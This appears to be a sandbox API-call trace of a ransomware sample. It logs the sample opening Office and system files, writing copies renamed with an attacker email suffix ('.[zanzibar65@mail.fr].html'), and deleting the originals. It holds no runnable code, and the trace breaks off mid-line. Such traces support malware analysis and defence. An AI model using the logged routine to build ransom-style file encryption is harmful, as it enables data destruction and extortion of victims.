lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString=".docx") returned 5 [0050.913] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.913] lstrlenW (lpString=".pdf") returned 4 [0050.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString=".xls") returned 4 [0050.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString=".xlsx") returned 5 [0050.913] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.913] lstrlenW (lpString=".ppt") returned 4 [0050.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.913] lstrlenW (lpString=".zip") returned 4 [0050.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString=".rar") returned 4 [0050.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.914] lstrlenW (lpString=".bz2") returned 4 [0050.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.914] lstrlenW (lpString=".7z") returned 3 [0050.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.914] lstrlenW (lpString=".dbf") returned 4 [0050.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.914] lstrlenW (lpString=".1cd") returned 4 [0050.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.914] lstrlenW (lpString=".jpg") returned 4 [0050.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.914] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0050.914] lstrlenW (lpString="setup.exe") returned 9 [0050.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.944] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1377656) returned 1 [0050.944] CloseHandle (hObject=0x1ec) returned 1 [0050.946] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0050.946] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.946] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.946] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.946] GetLastError () returned 0x0 [0050.946] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.970] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.380] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x50588, lpOverlapped=0x0) returned 1 [0051.393] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0051.402] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.402] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.402] SetEndOfFile (hFile=0x204) returned 1 [0051.402] CloseHandle (hObject=0x204) returned 1 [0051.402] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.402] SetEndOfFile (hFile=0x1ec) returned 1 [0051.405] CloseHandle (hObject=0x1ec) returned 1 [0051.405] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0051.406] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0051.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.406] lstrlenW (lpString=".doc") returned 4 [0051.406] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.406] lstrlenW (lpString=".docx") returned 5 [0051.406] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.406] lstrlenW (lpString=".pdf") returned 4 [0051.406] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.406] lstrlenW (lpString=".xls") returned 4 [0051.406] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.406] lstrlenW (lpString=".xlsx") returned 5 [0051.406] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.406] lstrlenW (lpString=".ppt") returned 4 [0051.406] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.406] lstrlenW (lpString=".zip") returned 4 [0051.406] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.406] lstrlenW (lpString=".rar") returned 4 [0051.406] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.406] lstrlenW (lpString=".bz2") returned 4 [0051.407] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.407] lstrlenW (lpString=".7z") returned 3 [0051.407] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString=".dbf") returned 4 [0051.407] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString=".1cd") returned 4 [0051.407] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString=".jpg") returned 4 [0051.407] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString=".doc") returned 4 [0051.407] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.407] lstrlenW (lpString=".docx") returned 5 [0051.407] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.407] lstrlenW (lpString=".pdf") returned 4 [0051.407] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString=".xls") returned 4 [0051.407] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString=".xlsx") returned 5 [0051.407] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.407] lstrlenW (lpString=".ppt") returned 4 [0051.407] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.407] lstrlenW (lpString=".zip") returned 4 [0051.407] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString=".rar") returned 4 [0051.407] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.407] lstrlenW (lpString=".bz2") returned 4 [0051.408] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.408] lstrlenW (lpString=".7z") returned 3 [0051.408] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.408] lstrlenW (lpString=".dbf") returned 4 [0051.408] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.408] lstrlenW (lpString=".1cd") returned 4 [0051.408] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.408] lstrlenW (lpString=".jpg") returned 4 [0051.408] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.408] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0051.408] lstrlenW (lpString="least.exe") returned 9 [0051.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\least.exe" (normalized: "c:\\program files\\common files\\least.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.408] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=75776) returned 1 [0051.408] CloseHandle (hObject=0x1ec) returned 1 [0051.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\least.exe" (normalized: "c:\\program files\\common files\\least.exe")) returned 0x20 [0051.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\least.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\least.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\least.exe" (normalized: "c:\\program files\\common files\\least.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.409] lstrlenW (lpString=".doc") returned 4 [0051.409] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.409] lstrlenW (lpString=".docx") returned 5 [0051.409] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0051.409] lstrlenW (lpString=".pdf") returned 4 [0051.409] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.409] lstrlenW (lpString=".xls") returned 4 [0051.409] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.409] lstrlenW (lpString=".xlsx") returned 5 [0051.409] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0051.409] lstrlenW (lpString=".ppt") returned 4 [0051.409] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.409] lstrlenW (lpString=".zip") returned 4 [0051.409] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.409] lstrlenW (lpString=".rar") returned 4 [0051.409] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.409] lstrlenW (lpString=".bz2") returned 4 [0051.409] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.409] lstrlenW (lpString=".7z") returned 3 [0051.409] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString=".dbf") returned 4 [0051.410] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString=".1cd") returned 4 [0051.410] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString=".jpg") returned 4 [0051.410] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString=".doc") returned 4 [0051.410] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.410] lstrlenW (lpString=".docx") returned 5 [0051.410] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0051.410] lstrlenW (lpString=".pdf") returned 4 [0051.410] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString=".xls") returned 4 [0051.410] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString=".xlsx") returned 5 [0051.410] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0051.410] lstrlenW (lpString=".ppt") returned 4 [0051.410] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.410] lstrlenW (lpString=".zip") returned 4 [0051.410] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString=".rar") returned 4 [0051.410] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.410] lstrlenW (lpString=".bz2") returned 4 [0051.410] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.410] lstrlenW (lpString=".7z") returned 3 [0051.410] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.411] lstrlenW (lpString=".dbf") returned 4 [0051.411] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.411] lstrlenW (lpString=".1cd") returned 4 [0051.411] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\least.exe") returned 39 [0051.411] lstrlenW (lpString=".jpg") returned 4 [0051.411] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.411] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0051.411] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0051.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0053.007] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1369952) returned 1 [0053.007] CloseHandle (hObject=0x228) returned 1 [0053.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0053.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0053.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0053.007] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.007] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.047] GetLastError () returned 0x0 [0054.047] ReadFile (in: hFile=0x228, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.077] WriteFile (in: hFile=0x234, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.320] ReadFile (in: hFile=0x228, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0054.332] WriteFile (in: hFile=0x234, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0054.340] ReadFile (in: hFile=0x228, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.340] WriteFile (in: hFile=0x234, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.340] SetEndOfFile (hFile=0x234) returned 1 [0054.341] CloseHandle (hObject=0x234) returned 1 [0054.341] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.341] SetEndOfFile (hFile=0x228) returned 1 [0054.344] CloseHandle (hObject=0x228) returned 1 [0054.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.344] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0054.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.345] lstrlenW (lpString=".doc") returned 4 [0054.345] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.345] lstrlenW (lpString=".docx") returned 5 [0054.345] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0054.345] lstrlenW (lpString=".pdf") returned 4 [0054.345] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.486] lstrlenW (lpString=".xls") returned 4 [0054.486] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.486] lstrlenW (lpString=".xlsx") returned 5 [0054.486] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0054.486] lstrlenW (lpString=".ppt") returned 4 [0054.486] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.486] lstrlenW (lpString=".zip") returned 4 [0054.486] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.486] lstrlenW (lpString=".rar") returned 4 [0054.486] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.486] lstrlenW (lpString=".bz2") returned 4 [0054.487] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.487] lstrlenW (lpString=".7z") returned 3 [0054.487] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString=".dbf") returned 4 [0054.487] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString=".1cd") returned 4 [0054.487] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString=".jpg") returned 4 [0054.487] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString=".doc") returned 4 [0054.487] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString=".docx") returned 5 [0054.487] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0054.487] lstrlenW (lpString=".pdf") returned 4 [0054.487] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString=".xls") returned 4 [0054.487] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString=".xlsx") returned 5 [0054.487] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0054.487] lstrlenW (lpString=".ppt") returned 4 [0054.487] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.487] lstrlenW (lpString=".zip") returned 4 [0054.487] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.487] lstrlenW (lpString=".rar") returned 4 [0054.487] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.488] lstrlenW (lpString=".bz2") returned 4 [0054.488] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.488] lstrlenW (lpString=".7z") returned 3 [0054.488] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.488] lstrlenW (lpString=".dbf") returned 4 [0054.488] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.488] lstrlenW (lpString=".1cd") returned 4 [0054.488] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.488] lstrlenW (lpString=".jpg") returned 4 [0054.488] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.488] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.488] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0054.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.691] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=241024) returned 1 [0054.691] CloseHandle (hObject=0x1d8) returned 1 [0054.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0054.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft 